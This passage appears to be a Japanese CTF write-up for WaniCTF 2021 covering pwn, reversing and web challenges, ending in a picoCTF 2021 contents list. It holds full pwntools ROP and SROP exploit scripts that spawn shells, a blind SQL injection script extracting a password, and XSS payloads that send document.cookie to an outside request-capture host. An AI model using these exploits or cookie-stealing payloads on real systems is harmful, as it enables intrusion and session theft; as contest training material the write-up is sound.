6 $ ROPgadget --binary pwn05 --re "pop rax" Gadgets information ============================================================ 0x00000000004012a4 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004012a1 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret 0x00000000004012a7 : mov ebp, esp ; pop rax ; ret 0x00000000004012a6 : mov rbp, rsp ; pop rax ; ret 0x00000000004012a9 : pop rax ; ret 0x00000000004012a5 : push rbp ; mov rbp, rsp ; pop rax ; ret Unique gadgets found: 6 $ ROPgadget --binary pwn05 --re "syscall" Gadgets information ============================================================ 0x00000000004012b1 : cli ; push rbp ; mov rbp, rsp ; syscall 0x00000000004012ae : endbr64 ; push rbp ; mov rbp, rsp ; syscall 0x00000000004012b4 : mov ebp, esp ; syscall 0x00000000004012b3 : mov rbp, rsp ; syscall 0x00000000004012b2 : push rbp ; mov rbp, rsp ; syscall 0x00000000004012b6 : syscall Unique gadgets found: 6 $ ROPgadget --binary pwn05 --string "/bin/sh" Strings information ============================================================ 0x0000000000404078 : /bin/sh
あとは 04 rop machine normal と同じように、上記のアドレスを使って ROP を組むだけ
from pwn import * ARCH = 'amd64' FILE = './pwn05' LIBC = '' HOST = 'rop-hard.pwn.wanictf.org' PORT = 9005 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '40128f') # pop rdi ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '404078') # /bin/sh io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '401611') # pop rsi ; pop r15 ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '40129c') # pop rdx ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '000000') # 0 io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '4012a9') # pop rax ; ret io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '00003b') # 0x3b io.sendlineafter('> ', '1') io.sendlineafter('hex value?: ', '4012b6') # syscall io.sendlineafter('> ', '0') def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/pwn-05-rop-machine-hard/pwn05' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 17 cached gadgets for './pwn05' [+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done [*] Switching to interactive mode rop_arena +--------------------+ | 0x000000000040128f |<- rop start +--------------------+ | 0x0000000000404078 | +--------------------+ | 0x0000000000401611 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x000000000040129c | +--------------------+ | 0x0000000000000000 | +--------------------+ | 0x00000000004012a9 | +--------------------+ | 0x000000000000003b | +--------------------+ | 0x00000000004012b6 | +--------------------+ $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{y0ur-next-step-is-to-use-pwntools}
FLAG{y0ur-next-step-is-to-use-pwntools}
06 SuperROP
nc srop.pwn.wanictf.org 9006
・sigreturnを用いたROPでシェルを実行してください。
・sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html
SROP に関する問題でした。 以下のサイトを参考に解きました。
- SROP | Signals, you say? - Exploit Development - 0x00sec - The Home of the Hacker
- pwntools--SROP工具类SigreturnFrame使用详解_lifanxin的博客-CSDN博客
ソースコードは、以下のようになっている。
#include <stdio.h> #include <unistd.h> void call_syscall() { __asm__("syscall; ret;"); } void set_rax() { __asm__("mov $0xf, %rax; ret;"); } int main() { char buff[50]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); printf("buff : %p\nCan you get the shell?\n", buff); read(0, buff, 0x200); return 0; }
13行目の read のところでバッファオーバフローの脆弱性があるので、pattc と patto を使ってリターンアドレスまでのオフセットを求める。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ run Starting program: /root/workdir/pwn-06-srop/pwn06 buff : 0x7fffffffe1c0 Can you get the shell? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b00360 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x200 RSI: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x0 RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RIP: 0x401213 (<main+124>: ret) R8 : 0x7ffff7fed740 (0x00007ffff7fed740) R9 : 0x7ffff7fed740 (0x00007ffff7fed740) R10: 0x7fffffffdf80 --> 0x0 R11: 0x246 R12: 0x401090 (<_start>: endbr64) R13: 0x7fffffffe2e0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401208 <main+113>: call 0x401080 <read@plt> 0x40120d <main+118>: mov eax,0x0 0x401212 <main+123>: leave => 0x401213 <main+124>: ret 0x401214: nop WORD PTR cs:[rax+rax*1+0x0] 0x40121e: xchg ax,ax 0x401220 <__libc_csu_init>: endbr64 0x401224 <__libc_csu_init+4>: push r15 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") 0008| 0x7fffffffe210 ("AJAAfAA5AAKAAgAA6AAL\n") 0016| 0x7fffffffe218 ("AAKAAgAA6AAL\n") 0024| 0x7fffffffe220 --> 0xa4c414136 ('6AAL\n') 0032| 0x7fffffffe228 --> 0x401197 (<main>: endbr64) 0040| 0x7fffffffe230 --> 0x0 0048| 0x7fffffffe238 --> 0x19db69bec57df68e 0056| 0x7fffffffe240 --> 0x401090 (<_start>: endbr64) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401213 in main () gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
72文字でリターンアドレスが書き換わることが判明した。
次に SROP に必要なアドレスを ROPgadget で収集する。
$ ROPgadget --binary pwn06 --re "mov rax" Gadgets information ============================================================ 0x000000000040118a : mov ebp, esp ; mov rax, 0xf ; ret 0x000000000040118c : mov rax, 0xf ; ret Unique gadgets found: 2 $ ROPgadget --binary pwn06 --re "syscall" Gadgets information ============================================================ 0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; syscall 0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; syscall 0x000000000040117c : mov ebp, esp ; syscall 0x000000000040117b : mov rbp, rsp ; syscall 0x000000000040117a : push rbp ; mov rbp, rsp ; syscall 0x000000000040117e : syscall Unique gadgets found: 6 $ ROPgadget --binary pwn06 --string "/bin/sh" Strings information ============================================================
/bin/sh
は見つからなかった。pwn06は、実行時にバッファのアドレスを表示してくれるので、バッファの先頭に /bin/sh
を書いておくことにした。
必要な情報が揃ったので、後は上記の2つの参考サイトと同じように payload を組んで実行すると、シェルを取ることができた。
from pwn import * ARCH = 'amd64' FILE = './pwn06' LIBC = '' HOST = 'srop.pwn.wanictf.org' PORT = 9006 GDB_SCRIPT = ''' break main continue ''' def exploit(io, elf, libc, rop): offset = 72 mov_rax_15_ret = 0x40118c # mov rax, 0xf ; ret syscall_ret = 0x40117e # syscall ; ret line = io.readline().decode().split(':') buff = int(line[-1], 16) log.info(f'buff: {buff:x}') payload = b'/bin/sh\0' payload = payload.ljust(offset, b'A') payload += pack(mov_rax_15_ret) payload += pack(syscall_ret) frame = SigreturnFrame(kernel="amd64") frame.rax = constants.SYS_execve frame.rdi = buff # /bin/sh frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret payload += bytes(frame) log.info(hexdump(payload)) io.sendlineafter('Can you get the shell?', payload) def main(): context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO') elf = ELF(FILE) if os.path.exists(FILE) else None rop = ROP(elf) if elf is not None else None if args['REMOTE']: io = remote(HOST, PORT) libc = ELF(LIBC) if os.path.exists(LIBC) else None else: if FILE == '': return io = process([FILE]) libc = elf.libc if args['GDB']: pid = proc.pid_by_name(os.path.basename(FILE)) gdb.attach(pid[0], GDB_SCRIPT) exploit(io, elf, libc, rop) io.interactive() if __name__ == '__main__': main()
$ python3 exploit.py REMOTE [*] '/root/workdir/pwn-06-srop/pwn06' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [*] Loaded 15 cached gadgets for './pwn06' [+] Opening connection to srop.pwn.wanictf.org on port 9006: Done [*] buff: 7fff45258890 [*] 00000000 2f 62 69 6e 2f 73 68 00 41 41 41 41 41 41 41 41 │/bin│/sh·│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000040 41 41 41 41 41 41 41 41 8c 11 40 00 00 00 00 00 │AAAA│AAAA│··@·│····│ 00000050 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 000000c0 90 88 25 45 ff 7f 00 00 00 00 00 00 00 00 00 00 │··%E│····│····│····│ 000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 000000e0 00 00 00 00 00 00 00 00 3b 00 00 00 00 00 00 00 │····│····│;···│····│ 000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000100 7e 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 │~·@·│····│····│····│ 00000110 33 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │3···│····│····│····│ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000150 [*] Switching to interactive mode $ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ ls chall flag.txt redir.sh $ cat flag.txt FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}
Reversing
secret
この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行するとsecret key
を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。
$ file secret secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped $ sudo chmod +x secret $ ./secret ... Input secret key : abcde Incorrect $ ./secret ... Input secret key : ?????? Correct! Flag is ??????このバイナリが正しいと判断する
secret key
を見つけて読み込んでみましょう!
(secret key
とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことでsecret key
が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra
strings をすると、パスワードらしき文字列が表示された。
$ strings secret # snip Input secret key : Incorrect wani_is_the_coolest_animals_in_the_world! Correct! Flag is %s # snip
secret 実行後にパスワードを入力すると、フラグが表示された。
$ ./secret ▄▀▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▄▄▄▄ ▄▀▀▄▀▀▀▄ ▄▀▀█▄▄▄▄ ▄▀▀▀█▀▀▄ █ █ ▐ ▐ ▄▀ ▐ █ █ ▌ █ █ █ ▐ ▄▀ ▐ █ █ ▐ ▀▄ █▄▄▄▄▄ ▐ █ ▐ █▀▀█▀ █▄▄▄▄▄ ▐ █ ▀▄ █ █ ▌ █ ▄▀ █ █ ▌ █ █▀▀▀ ▄▀▄▄▄▄ ▄▀▄▄▄▄▀ █ █ ▄▀▄▄▄▄ ▄▀ ▐ █ ▐ █ ▐ ▐ ▐ █ ▐ █ ▐ ▐ ▐ ▐ Input secret key : wani_is_the_coolest_animals_in_the_world! Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}
execute
コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
rev-execute.zip
main.s を確認すると、以下のようにいくつかの文字列をレジスタに入れている。
# snip main: .LFB0: .cfi_startproc endbr64 pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $48, %rsp movq %fs:40, %rax movq %rax, -8(%rbp) xorl %eax, %eax movabsq $7941081424088616006, %rax movabsq $7311705455698409823, %rdx movq %rax, -48(%rbp) movq %rdx, -40(%rbp) movabsq $3560223458505028963, %rax movabsq $35295634984951667, %rdx movq %rax, -32(%rbp) movq %rdx, -24(%rbp) leaq -48(%rbp), %rax movq %rax, %rdi call print@PLT movl $0, %eax movq -8(%rbp), %rcx xorq %fs:40, %rcx je .L3 call __stack_chk_fail@PLT # snip
レジスタに格納している値を文字列に変換すると、それがフラグになっていた。
from Crypto.Util.number import long_to_bytes nums = [ 7941081424088616006, 7311705455698409823, 3560223458505028963, 35295634984951667, ] for n in nums: print(long_to_bytes(n).decode()[::-1], end='')
$ python3 solve.py FLAG{c4n_y0u_execu4e_th1s_fi1e}
FLAG{c4n_y0u_execu4e_th1s_fi1e}
Timer
フラグが出てくるまで待てますか?
super_complex_flag_print_function
関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
rev-timer.zip
Ghidra でデコンパイルしてみると、timer という名前の関数で長時間待機させていた。
この関数呼び出しを、NOP でつぶして実行すると、フラグが表示された。
e8 9c ff ff ff ↓ 90 90 90 90 90
$ ./timer ████████╗██╗███╗ ███╗███████╗██████╗ ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗ ██║ ██║██╔████╔██║█████╗ ██████╔╝ ██║ ██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ I'll show the flag when the timer is 0 seconds. The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"
FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}
licence
このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?
$ ./licence key.dat Failed to activate.複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。
licence を Gdhidra でデコンパイルして確認してみると、以下の箇所でフラグをチェックしていた。
angr の find にフラグチェック後のアドレス(0x405e0d)を指定して実行すると、フラグが表示された。
import angr import sys base_addr = 0x400000 checked_addr = base_addr + 0x5e0d bin_path = 'licence' input_path = 'key.dat' proj = angr.Project(bin_path, load_options={'auto_load_libs':False}) state = proj.factory.entry_state(args=[bin_path, input_path]) with open(input_path) as fp: content = fp.read() simgr = proj.factory.simulation_manager(state) simgr.explore(find=checked_addr) state = simgr.found[0] print(state.posix.dump_file_by_path(input_path))
$ python3 solve.py WARNING | 2021-05-01 20:39:34,050 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 73 unconstrained bytes referenced from 0x500030 (fopen+0x0 in extern-address space (0x30)) WARNING | 2021-05-01 20:39:34,250 | angr.state_plugins.posix | Trying to open unknown file b'key.dat' - created a symbolic file since ALL_FILES_EXIST is set WARNING | 2021-05-01 20:39:34,391 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 28 unconstrained bytes referenced from 0x500020 (fgets+0x0 in extern-address space (0x20)) WARNING | 2021-05-01 20:39:34,598 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefefd with 27 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff20 with 8 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff60 with 1 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28)) b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n'
Web
fake
偽物を見破れますか?
https://fake.web.wanictf.org/
https://fake.web.wanictf.org/ にアクセスすると、Link
と書かれたボタンが大量に配置されていた。
どれか1つが本物らしい。
Chrome の DevTools を起動して、Console に以下を入力して、HTML内のURLをすべて抽出する。
urls = [] $$('*').forEach(element => { urls.push(element.src) urls.push(element.href) urls.push(element.url) }); console.log(...new Set(urls))
抽出された https://fake.web.wanictf.org/144c9defac04969c7bfad8efaa8ea194.html にアクセスすると、フラグが表示された。
FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}
Wani Request 1
RequestBinを使ってみよう!!
https://request1.web.wanictf.org/
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません。
RequestBin の Webhook を使ってリクエストを待ち受ける。 requestbin.com
RequestBin の URL を投稿して少し待つとリクエストが返ってくる。 referer を確認すると、以下のようになっていた。
http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=https://2b1addb4d2029048c0fdc13b263bc790.m.pipedream.net/
http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/ にアクセスすると、フラグが書かれた。
FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}
exception
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
https://exception.web.wanictf.org/
web-exception.zip
hello.py を確認すると、以下のようになっていた。
例外を出させれば、フラグが表示されるようになっている。
import json import os import traceback # HelloFunction(/hello)のコード def lambda_handler(event, context): try: try: data = json.loads(event["body"]) except Exception: data = {} if "name" in data: return { "statusCode": 200, "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}), } return { "statusCode": 400, "body": json.dumps( { "error_message": "Bad Request", } ), } except Exception as e: error_message = traceback.format_exception_only(type(e), e) del event["requestContext"]["accountId"] del event["requestContext"]["resourceId"] return { "statusCode": 500, "body": json.dumps( { "error_message": error_message, "event": event, "flag": os.environ.get("FLAG"), } ), }
data["name"] が文字列にならないようにすれば、例外になるはずなので、
curl で {"name":[]}
となるように POST してみると、エラーメッセージが返ってきた。
curl https://exception.web.wanictf.org/hello \ -X POST \ -H "Content-Type: application/json" \ -d '{"name":[]}' \ --silent \ | jq .
jq で整形して確認すると、末尾にフラグが書かれていた。
{ "error_message": [ "TypeError: can only concatenate str (not \"list\") to str\n" ], "event": { "resource": "/hello", "path": "/hello", "httpMethod": "POST", "headers": { "content-type": "application/json", "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "User-Agent": "Amazon CloudFront", "Via": "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)", "X-Amz-Cf-Id": "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==", "X-Amzn-Trace-Id": "Root=1-608d57ff-61204f91720c7998172a9357", "X-Forwarded-For": "14.3.175.134, 130.176.3.71", "X-Forwarded-Port": "443", "X-Forwarded-Proto": "https" }, "multiValueHeaders": { "content-type": [ "application/json" ], "Host": [ "boakqtdih8.execute-api.us-east-1.amazonaws.com" ], "User-Agent": [ "Amazon CloudFront" ], "Via": [ "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)" ], "X-Amz-Cf-Id": [ "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==" ], "X-Amzn-Trace-Id": [ "Root=1-608d57ff-61204f91720c7998172a9357" ], "X-Forwarded-For": [ "14.3.175.134, 130.176.3.71" ], "X-Forwarded-Port": [ "443" ], "X-Forwarded-Proto": [ "https" ] }, "queryStringParameters": null, "multiValueQueryStringParameters": null, "pathParameters": null, "stageVariables": null, "requestContext": { "resourcePath": "/hello", "httpMethod": "POST", "extendedRequestId": "epqv7ELIIAMFaow=", "requestTime": "01/May/2021:13:30:39 +0000", "path": "/Prod/hello", "protocol": "HTTP/1.1", "stage": "Prod", "domainPrefix": "boakqtdih8", "requestTimeEpoch": 1619875839404, "requestId": "ebda79ff-238f-4dbc-bfe2-6ffb9bc90127", "identity": { "cognitoIdentityPoolId": null, "accountId": null, "cognitoIdentityId": null, "caller": null, "sourceIp": "14.3.175.134", "principalOrgId": null, "accessKey": null, "cognitoAuthenticationType": null, "cognitoAuthenticationProvider": null, "userArn": null, "userAgent": "Amazon CloudFront", "user": null }, "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "apiId": "boakqtdih8" }, "body": "{\"name\":[]}", "isBase64Encoded": false }, "flag": "FLAG{b4d_excep7ion_handl1ng}" }
FLAG{b4d_excep7ion_handl1ng}
watch animal
スーパーかわいい動物が見れるWebサービスを作ったよ。
wanictf21spring@gmail.com
のメアドの人のパスワードがフラグです。
https://watch.web.wanictf.org/
https://watch.web.wanictf.org/ にアクセスすると、メールアドレスとパスワードの入力を求められる。
試しに以下のように入力してみると、ログインすることができた。
- メールアドレス:
wanictf21spring@gmail.com' --
- パスワード:
A
今回は、パスワードを特定したいので、ブラインド SQL インジェクションを行う。 以下の入力でもログインできたので、後は1文字ずつ特定していけばよい。
- メールアドレス:
wanictf21spring@gmail.com' /*
- パスワード:
*/ AND password LIKE 'FLAG{%
1文字ずつパスワードを特定するスクリプトを作成した。
import requests import string def check_login(flag): url = 'https://watch.web.wanictf.org/' email = "wanictf21spring@gmail.com' /*" password = f"*/ AND password LIKE '{flag}%" response = requests.post(url, {'email': email, 'password': password}) return 'Login Failed' not in response.text def main(): flag = 'FLAG{' chars = string.ascii_letters + string.digits + '_-.$@!?{}' while True: for ch in chars: if ch == '_': ch = '\_' if check_login(flag + ch): flag += ch break print(flag) if flag[-1] == '}': break if __name__=='__main__': main()
$ python3 solve.py F FL FLA FLAG FLAG{ FLAG{b FLAG{bl FLAG{bl1 FLAG{bl1n FLAG{bl1nd FLAG{bl1ndS FLAG{bl1ndSQ FLAG{bl1ndSQL FLAG{bl1ndSQLi FLAG{bl1ndSQLi}
FLAG{bl1ndSQLi}
Wani Request 2
XSS Challenge !!
https://request2.web.wanictf.org/
チャレンジは二つです。
あどみんちゃんのクッキーを手に入れてください。
Wani Request 1 と同じくRequestBinなどを利用してみましょう。
web-wani-request-2.zip
Wani Request 1 と同様に RequestBin を使ってリクエストを待ち受けておく。
まずは、page1 のチャレンジから解いていく。
色々試した結果、page1 は、以下のパラメータで XSS ができた。
https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=alert(1);>
今回は、Cookie を入手することなので、window.open() を使って cookie を RequestBin に送信させる。
https://request2.web.wanictf.org/page1?wani=<img src=no_such_icon onerror=window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);>
実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。
flag1: FLAG{y0u_4r3_x55
次に、page2 のチャレンジを解く。
以下のように入力してクリックすると、アラートが表示された。
javascript:alert(1)
よって、page1 と同様に入力することで、Cookie を送信させることができる。
javascript:window.open("https://cf8fa678c143bb26c971b23c21f6a461.m.pipedream.net?"%2Bdocument.cookie);
実際に入力して、RequestBin を確認すると、以下の Cookie が届いていた。
flag2: -60d_c75a4c80cf07}
FLAG{y0u_4r3_x55-60d_c75a4c80cf07}
CloudFront Basic Auth
API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
重要なエンドポイントにはBasic認証をつけてみました。
https://cf-basic.web.wanictf.org/
ヒント: 上のURLにアクセスするとexceptionと同じ見た目のWebアプリが表示されますが、添付されているzipファイルにはexceptionの添付ファイルから新しいファイルが追加されています。添付ファイルを参考にもう一つのFLAGを発見してください!
web-cf-basic.zip
template.yaml というファイルが追加されている。 内容を確認してみると、以下のコメントが書かれていた。よって、FQDN が分かれば、admin ページを表示させることができそうだと分かる。
CacheBehaviors: # "${CloudFrontDomainName}/admin"に対する通信は"https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin"の結果を利用 - PathPattern: admin AllowedMethods: - HEAD - GET CachedMethods: - HEAD - GET TargetOriginId: ApiGateway ViewerProtocolPolicy: redirect-to-https # Basic認証 LambdaFunctionAssociations: - EventType: viewer-request LambdaFunctionARN: !Ref BasicAuthFunction.Version
exception 問題と同様に例外を発生させて、エラーメッセージを確認すると、boakqtdih8.execute-api.us-east-1.amazonaws.com
と書かれていた。
$ curl https://cf-basic.web.wanictf.org/hello -X POST -H "Content-Type: application/json" -d '{"name":[]}' --silent | jq . | grep execute-api "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com", "boakqtdih8.execute-api.us-east-1.amazonaws.com" "domainName": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
FQDN が判明したので、以下のようにアクセスすると、フラグが表示された。
$ curl https://boakqtdih8.execute-api.us-east-1.amazonaws.com/Prod/admin FLAG{ap1_g4teway_acc3ss_con7rol}
FLAG{ap1_g4teway_acc3ss_con7rol}
picoCTF 2021 Writeup
- picoCTF 2021 について
- picoCTF 2021 Writeup(全68問)
- Web Exploitation(16問)
- Ancient History - 10 points
- GET aHEAD - 20 points
- Cookies - 40 points
- Scavenger Hunt - 50 points
- Who are you? - 60 points
- Some Assembly Required 1 - 70 points
- It is my Birthday - 100 points
- Some Assembly Required 2 - 110 points
- Super Serial - 130 points
- Most Cookies - 150 points
- Some Assembly Required 3 - 160 points
- Web Gauntlet 2 - 170 points
- Startup Company - 180 points
- Some Assembly Required 4 - 200 points
- X marks the spot - 250 points
- Web Gauntlet 3 - 300 points
- Cryptography(12問)
- Mod 26 - 10 points
- Mind your Ps and Qs - 20 points
- Easy Peasy - 40 points
- New Caesar - 60 points
- Mini RSA - 70 points
- Dachshund Attacks - 80 points
- No Padding, No Problem - 90 points
- Play Nice - 110 points
- Double DES - 120 points
- It is my Birthday 2 - 170 points
- Pixelated - 200 points
- New Vignere - 300 points
- Reverse Engineering(16問)
- Transformation - 20 points
- keygenme-py - 30 points
- crackme-py - 30 points
- ARMssembly 0 - 40 points
- speeds and feeds - 50 points
- Shop - 50 points
- ARMssembly 1 - 70 points
- ARMssembly 2 - 90 points
- Hurry up! Wait! - 100 points
- gogo - 110 points
- ARMssembly 3 - 130 points
- Let's get dynamic - 150 points
- Easy as GDB - 160 points
- ARMssembly 4 - 170 points
- Powershelly - 180 points
- Rolling My Own - 300 points
- Forensics(11問)
- information - 10 points
- Weird File - 20 points
- Matryoshka doll - 30 points
- tunn3l v1s10n - 40 points
